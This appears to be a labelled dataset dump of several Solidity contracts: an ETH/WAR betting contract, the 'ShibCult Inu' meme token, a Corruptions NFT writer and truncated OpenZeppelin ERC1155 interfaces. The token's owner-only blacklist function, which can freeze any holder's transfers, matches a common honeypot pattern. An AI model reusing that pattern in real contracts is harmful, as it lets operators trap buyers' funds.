bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract IRewardDistributionRecipient is Ownable {
address public rewardDistribution;
function notifyRewardAmount(uint256 reward, uint256 _duration) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution) external onlyOwner {
rewardDistribution = _rewardDistribution;
}
}
contract Betting2Choice is IRewardDistributionRecipient {
using SafeMath for uint256;
using SafeERC20 for IERC20;
enum Choice {
Undecided,
Choice1,
Choice2
}
IERC20 public constant war = IERC20(0xf4A81C18816C9B0AB98FAC51B36Dcb63b0E58Fde);
string public desc;
uint256 public endTime;
uint256 public lastClaimTime;
bool public isPaused;
bool public isCanceled;
bool public isFinal;
bool public isFeesClaimed;
Choice public winner;
mapping(address => uint256) public choice1ETHBet;
mapping(address => uint256) public choice2ETHBet;
mapping(address => uint256) public choice1WARBet;
mapping(address => uint256) public choice2WARBet;
uint256 public choice1ETHPot;
uint256 public choice2ETHPot;
uint256 public choice1WARPot;
uint256 public choice2WARPot;
event Choice1ETHBet(address indexed user, uint256 amount);
event Choice2ETHBet(address indexed user, uint256 amount);
event Choice1WARBet(address indexed user, uint256 amount);
event Choice2WARBet(address indexed user, uint256 amount);
event EarningsPaid(address indexed user, uint256 ethEarnings, uint256 warEarnings);
modifier checkStatus() {
require(!isFinal, "battle is decided");
require(!isCanceled, "battle is canceled, claim your bet");
require(!isPaused, "betting not started");
require(block.timestamp < endTime, "betting has ended");
_;
}
constructor(address _rewardDistribution, string memory _desc, uint256 _endTime) public {
rewardDistribution = _rewardDistribution;
desc = _desc;
endTime = _endTime;
lastClaimTime = _endTime + 1 days * 365 / 6; // 2 months
}
function ETHBet(Choice choice) public payable checkStatus {
require(msg.value != 0, "no ether sent");
if (choice == Choice.Choice1) {
require(choice2ETHBet[msg.sender] == 0, "Sorry. You already bet on the other side with ETH!");
choice1ETHBet[msg.sender] += msg.value;
choice1ETHPot += msg.value;
emit Choice1ETHBet(msg.sender, msg.value);
} else if (choice == Choice.Choice2) {
require(choice1ETHBet[msg.sender] == 0, "Sorry. You already bet on the other side with ETH!");
choice2ETHBet[msg.sender] += msg.value;
choice2ETHPot += msg.value;
emit Choice2ETHBet(msg.sender, msg.value);
} else {
revert("invalid choice");
}
}
function WARBet(Choice choice, uint256 amount) public checkStatus {
require(amount != 0, "no token sent");
if (choice == Choice.Choice1) {
require(choice2WARBet[msg.sender] == 0, "Sorry. You already bet on the other side with WAR!");
war.safeTransferFrom(msg.sender, address(this), amount);
choice1WARBet[msg.sender] += amount;
choice1WARPot += amount;
emit Choice1WARBet(msg.sender, amount);
} else if (choice == Choice.Choice2) {
require(choice1WARBet[msg.sender] == 0, "Sorry. You already bet on the other side with WAR!");
war.safeTransferFrom(msg.sender, address(this), amount);
choice2WARBet[msg.sender] += amount;
choice2WARPot += amount;
emit Choice2WARBet(msg.sender, amount);
} else {
revert("invalid choice");
}
}
function pauseBetting() external onlyRewardDistribution {
isPaused = true;
}
function unpauseBetting() external onlyRewardDistribution {
isPaused = false;
}
function cancelBattle() external onlyRewardDistribution {
require(!isFinal, "battle is decided");
isCanceled = true;
}
function finalizeBattle(Choice choice) external onlyRewardDistribution {
require(!isFinal, "battle is decided");
require(!isCanceled, "battle is canceled");
require(choice == Choice.Choice1 || choice == Choice.Choice2, "invalid choice");
winner = choice;
isFinal = true;
}
function getFees() external onlyRewardDistribution returns (uint256 ethFees, uint256 warFees) {
require(!isFeesClaimed, "fees claimed");
if (isFinal) {
isFeesClaimed = true;
if (winner == Choice.Choice1) {
ethFees = choice2ETHPot.mul(1e19).div(1e20);
if (ethFees != 0) {
_safeTransfer(ethFees, true);
}
warFees = choice2WARPot.mul(1e19).div(1e20);
if (warFees != 0) {
_safeTransfer(warFees, false);
}
} else if (winner == Choice.Choice2) {
ethFees = choice1ETHPot.mul(1e19).div(1e20);
if (ethFees != 0) {
_safeTransfer(ethFees, true);
}
warFees = choice1WARPot.mul(1e19).div(1e20);
if (warFees != 0) {
_safeTransfer(warFees, false);
}
}
}
}
function rescueFunds(address token) external onlyRewardDistribution {
require(block.timestamp >= lastClaimTime, "not allowed yet");
if (token == address(0)) {
Address.sendValue(msg.sender, address(this).balance);
} else {
IERC20(token).safeTransfer(msg.sender, IERC20(token).balanceOf(address(this)));
}
}
function earned(address account) public view returns (uint256 ethEarnings, uint256 warEarnings) {
if (isFinal) {
uint256 _choice1ETHBet = choice1ETHBet[account];
uint256 _choice2ETHBet = choice2ETHBet[account];
uint256 _choice1WARBet = choice1WARBet[account];
uint256 _choice2WARBet = choice2WARBet[account];
uint256 winnings;
uint256 fee;
if (winner == Choice.Choice1 && _choice1ETHBet != 0) {
winnings = choice2ETHPot.mul(_choice1ETHBet).div(choice1ETHPot);
fee = winnings.mul(1e19).div(1e20);
winnings -= fee;
ethEarnings = _choice1ETHBet.add(winnings);
} else if (winner == Choice.Choice2 && _choice2ETHBet != 0) {
winnings = choice1ETHPot.mul(_choice2ETHBet).div(choice2ETHPot);
fee = winnings.mul(1e19).div(1e20);
winnings -= fee;
ethEarnings = _choice2ETHBet.add(winnings);
}
if (winner == Choice.Choice1 && _choice1WARBet != 0) {
winnings = choice2WARPot.mul(_choice1WARBet).div(choice1WARPot);
fee = winnings.mul(1e19).div(1e20);
winnings -= fee;
warEarnings = _choice1WARBet.add(winnings);
} else if (winner == Choice.Choice2 && _choice2WARBet != 0) {
winnings = choice1WARPot.mul(_choice2WARBet).div(choice2WARPot);
fee = winnings.mul(1e19).div(1e20);
winnings -= fee;
warEarnings = _choice2WARBet.add(winnings);
}
} else if (isCanceled) {
ethEarnings = choice1ETHBet[account] + choice2ETHBet[account];
warEarnings = choice1WARBet[account] + choice2WARBet[account];
}
}
function getRewards() public {
require(isFinal || isCanceled, "battle not decided");
(uint256 ethEarnings, uint256 warEarnings) = earned(msg.sender);
if (ethEarnings != 0) {
choice1ETHBet[msg.sender] = 0;
choice2ETHBet[msg.sender] = 0;
_safeTransfer(ethEarnings, true);
}
if (warEarnings != 0) {
choice1WARBet[msg.sender] = 0;
choice2WARBet[msg.sender] = 0;
_safeTransfer(warEarnings, false);
}
emit EarningsPaid(msg.sender, ethEarnings, warEarnings);
}
function _safeTransfer(uint256 amount, bool isETH) internal {
uint256 balance;
if (isETH) {
balance = address(this).balance;
if (amount > balance) {
amount = balance;
}
Address.sendValue(msg.sender, amount);
} else {
balance = war.balanceOf(address(this));
if (amount > balance) {
amount = balance;
}
war.safeTransfer(msg.sender, amount);
}
}
// unused
function notifyRewardAmount(uint256 reward, uint256 _duration) external { return; }
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
/**
ShibCult 🚀🚀
TG:https://t.me/ShibCultErc
Website : https://shibcultinu.com/
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBCULT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "ShibCult Inu";
string private constant _symbol = "SHIBCULT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x6a1Da18d0a33d3c2F510492f92b1CF2DbBeA5688);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 7;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000 * 10**9;
_maxWalletSize = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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] |
// SPDX-License-Identifier: Unlicense
pragma solidity^0.8.0;
interface ICorruptionsDataMapper {
function setValue(uint256 mapIndex, uint256 key, uint256 value) external;
}
interface ICorruptions {
function ownerOf(uint256 tokenID) external returns (address);
function insight(uint256 tokenID) external view returns (uint256);
}
contract CorruptionsWiltedRoseDeviationWriter {
address public owner;
uint256 public count;
bool public enabled;
constructor() {
owner = msg.sender;
enabled = false;
}
function setEnabled(bool isEnabled) public {
require(msg.sender == owner, "Writer: not owner");
enabled = isEnabled;
}
function DEVIATE___CORRUPTION_WILL_BE_LOCKED_PERMANENTLY_AND_NO_LONGER_GAIN_INSIGHT(uint256 tokenId, string memory ack) public {
// Deviated corruptions render differently but are *permanently* destabilized and will no longer gain insight
//
// This is OPTIONAL
// This is PERMANENT
// This is IRREVERSIBLE
// This is NOT A PUZZLE PIECE OR KEY
//
// THERE IS NOTHING THAT COMES AFTER A CORRUPTION DEVIATES
// THERE IS NOTHING THAT COMES AFTER A CORRUPTION DEVIATES
// THERE IS NOTHING THAT COMES AFTER A CORRUPTION DEVIATES
// THERE IS NOTHING THAT COMES AFTER A CORRUPTION DEVIATES
// THERE IS NOTHING THAT COMES AFTER A CORRUPTION DEVIATES
// THERE IS NOTHING THAT COMES AFTER A CORRUPTION DEVIATES
// THERE IS NOTHING THAT COMES AFTER A CORRUPTION DEVIATES
// THERE IS NOTHING THAT COMES AFTER A CORRUPTION DEVIATES
require(enabled || msg.sender == owner, "Writer: not enabled");
// I_HAVE_READ_THE_DISCLAIMER_AND_ACKNOWLEDGE
require(keccak256(bytes(ack)) == bytes32(hex"98f083d894dad4ec49f86c8deae933e9e51a46d20f726170c3460fa6c80077f4"), "Writer: not acknowledged");
require(ICorruptions(0x5BDf397bB2912859Dbd8011F320a222f79A28d2E).ownerOf(tokenId) == msg.sender, "Writer: corruption not owned");
require(ICorruptions(0x5BDf397bB2912859Dbd8011F320a222f79A28d2E).insight(tokenId) >= 4, "Writer: insight too low");
require(count < 64, "Writer: no remaining inscriptions");
count++;
ICorruptionsDataMapper(0x7A96d95a787524a27a4df36b64a96910a2fDCF5B).setValue(0, tokenId, 1);
}
function drawCanvas(uint256 tokenId, uint256 amount) public pure returns (string[32] memory) {
tokenId; // unused
amount; // unused
string[32] memory canvas;
canvas[0] = "...............................";
canvas[1] = "...............................";
canvas[2] = "...............................";
canvas[3] = "...............................";
canvas[4] = "...............................";
canvas[5] = "...............................";
canvas[6] = "........#######................";
canvas[7] = "......##########...............";
canvas[8] = ".....#####...#########.........";
canvas[9] = "....####.......#####8888.......";
canvas[10] = "....####......###888888888.....";
canvas[11] = "....####......8888888888888....";
canvas[12] = "....####......88888888888888...";
canvas[13] = ".....######...88888888888888...";
canvas[14] = "....#######...88888888888888...";
canvas[15] = "..###########..888888888888....";
canvas[16] = "..############..88888888888....";
canvas[17] = "..############...888888888.....";
canvas[18] = "....###########..88888.........";
canvas[19] = "....###########..88............";
canvas[20] = ".......#####...................";
canvas[21] = "........#####..................";
canvas[22] = ".........####..................";
canvas[23] = ".........####..................";
canvas[24] = "..........##...................";
canvas[25] = "...............................";
canvas[26] = "...............................";
canvas[27] = "...............................";
canvas[28] = "...............................";
canvas[29] = "...............................";
canvas[30] = "...............................";
return canvas;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-14
*/
// Sources flattened with hardhat v2.8.4 https://hardhat.org
// File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected]
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts-upgradeable/token/ERC1155/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// File @openzeppelin/contracts-upgradeable/token/ERC1155/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
/**
* @dev _Available since v3.1._
*/
interface IERC1155ReceiverUpgradeable is IERC165Upgradeable {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
